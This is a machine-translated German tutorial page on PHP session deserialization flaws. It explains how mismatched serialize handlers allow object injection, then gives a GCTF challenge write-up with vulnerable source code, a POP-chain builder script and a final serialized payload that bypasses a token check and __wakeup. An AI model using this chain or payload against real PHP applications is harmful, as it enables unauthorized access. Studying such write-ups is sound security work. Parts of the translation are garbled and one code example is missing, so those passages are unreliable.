Heim > Backend-Entwicklung > PHP-Tutorial > Detaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung

Detaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung

coldplay.xixi
Freigeben: 2023-04-09 10:08:01
nach vorne
2449 Leute haben es durchsucht

Detaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung

Es gibt drei Konfigurationselemente in php.ini:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php
Nach dem Login kopieren

Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.

Bei der Installation mit der xampp-Komponente lauten die Einstellungen der oben genannten Konfigurationselemente wie folgt:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎
Nach dem Login kopieren

In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen. Zusätzlich zum Standard gibt es neben der PHP-Engine auch andere Engines, und die Sitzungsspeichermethoden, die den verschiedenen Engines entsprechen, sind unterschiedlich.

php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens + Schlüsselname + dem durch die Funktion serialize() serialisierten Wert entspricht.

php: Der Speicher Methode ist: Schlüsselname + vertikaler Balken + durch die Funktion serialize() serialisierter Wert

php_serialize (php>5.5.4): Die Speichermethode ist, durch die Funktion serialize() serialisierter Wert

Die PHP-Engine wird standardmäßig in PHP verwendet. Wenn Sie sie auf eine andere Engine ändern möchten, müssen Sie nur den Code ini_set('session.serialize_handler', 'Die Engine, die eingestellt werden muss) hinzufügen ');. Der Beispielcode lautet wie folgt:

Das Sitzungsverzeichnis befindet sich in /var/lib/php/sessions

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);
Nach dem Login kopieren

Unter der php_serialize-Engine lauten die in der Sitzungsdatei gespeicherten Daten:

a:1:{s:4:"name";s:6:"spoock";}
Nach dem Login kopieren

Der Inhalt der Datei unter der PHP-Engine ist:

name|s:6:"spoock";
Nach dem Login kopieren

php_binary Der Inhalt der Datei unter der Engine ist:

names:6:"spoock";
Nach dem Login kopieren

Da die Länge des Namens 4, 4 beträgt entspricht EOT in der ASCII-Tabelle. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)

Serialisierungsrisiken in PHP-Sitzung

Es gibt kein Problem mit der Implementierung von Session in PHP. Der Schaden wird hauptsächlich durch die unsachgemäße Verwendung von Session durch Programmierer verursacht.

Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;
Nach dem Login kopieren

php-Datei wie:

Nach dem Login kopieren

Nach dem Zugriff lautet der Inhalt der Sitzungsdatei wie folgt:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
Nach dem Login kopieren

Zu diesem Zeitpunkt wird jedoch die Simulation verwendet Verschiedene PHP-Engines auf anderen Seiten. Der Inhalt beim Lesen ist wie folgt: (Standardmäßig wird die PHP-Engine zum Lesen der Sitzungsdatei verwendet)

a;
  }
}
// var_dump($_SESSION);
Nach dem Login kopieren

Beim Zugriff auf diese Seite wird xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
Nach dem Login kopieren
< ausgegeben 🎜>Das liegt daran, dass bei Verwendung der PHP-Engine die PHP-Engine als Trennzeichen zwischen Schlüssel und Wert verwendet wird, dann wird a:1:{s:4:"ryat";s:30:" als verwendet SESSION-Schlüssel und O:1:"A":1:{s :1:"a";s:2:"xx";} als Wert und deserialisieren Sie dann, und schließlich erhalten Sie die Klasse A

Aufgrund der Serialisierung und Deserialisierung sind die unterschiedlichen Engines die Ursache für die Sicherheitslücke bei der PHP-Sitzungsserialisierung. Beim Laden einer Seite mit der PHP-Engine liest die Sitzung den Inhalt der Sitzung und deserialisiert sie, wodurch die Sicherheitslücke ausgelöst wird ohne Ausgabe

Eine Schwachstellenanalyse der Sitzungsdeserialisierung auf GCTF:

Der Inhalt in index.php ist:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
Nach dem Login kopieren

In PHP wird häufig eine Serialisierungsoperation verwendet, um auf Daten zuzugreifen. Wenn diese jedoch während des Serialisierungsprozesses nicht ordnungsgemäß verarbeitet wird, kann dies zu Sicherheitsrisiken führen. Der Inhalt in

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
Nach dem Login kopieren

query.php lautet:

/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/
Nach dem Login kopieren

Die Idee ist wie folgt:In dieser Frage erstellen wir einen TOPC, und

wird während der Zerstörung aufgerufen

echo $this->attr;
„assign attr“ Es handelt sich um ein TOPA-Objekt. Die __tostring-Magiemethode

wird automatisch aufgerufen, wenn in __tostring

aufgerufen wird Später ist es offensichtlich, dass das TOPA-Objekt später benötigt wird 🎜>, daher kann die Verwendung von

als Zeigerreferenz während der Serialisierung die Beurteilung umgehen, warum unserialize($this->attr) das Flag ausgibt Im Hintergrund steht möglicherweise __tostring. >$this->obj->token === $this->obj->ticketEs wird eine __wakeup()-Funktion geben, um die Parameter zu löschen Die Menge im Objekt ist groß genug, um die Weckfunktion zu umgehen. $a->ticket = &$a->token;

Der endgültige Code lautet:(string)$this->obj

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;
Nach dem Login kopieren

Die endgültige Nutzlast ist:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
Nach dem Login kopieren

Das Obige ist der Herausgeber. Ich möchte Ihnen die Sicherheitslücke bei der Sitzungsdeserialisierung vorstellen. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Antwort pünktlich zu Ihnen.

Verwandte Lernempfehlungen:

PHP-Programmierung vom Einstieg bis zur Beherrschung

Das obige ist der detaillierte Inhalt vonDetaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:jb51.net
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Aktuelle Ausgaben
PHP-Datenerfassung?
Aus 1970-01-01 08:00:00
0
0
0
PHP-Erweiterung intl
Aus 1970-01-01 08:00:00
0
0
0
Wie man PHP gut lernt
Aus 1970-01-01 08:00:00
0
0
0
Mehrere PHP-Versionen
Aus 1970-01-01 08:00:00
0
0
0
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage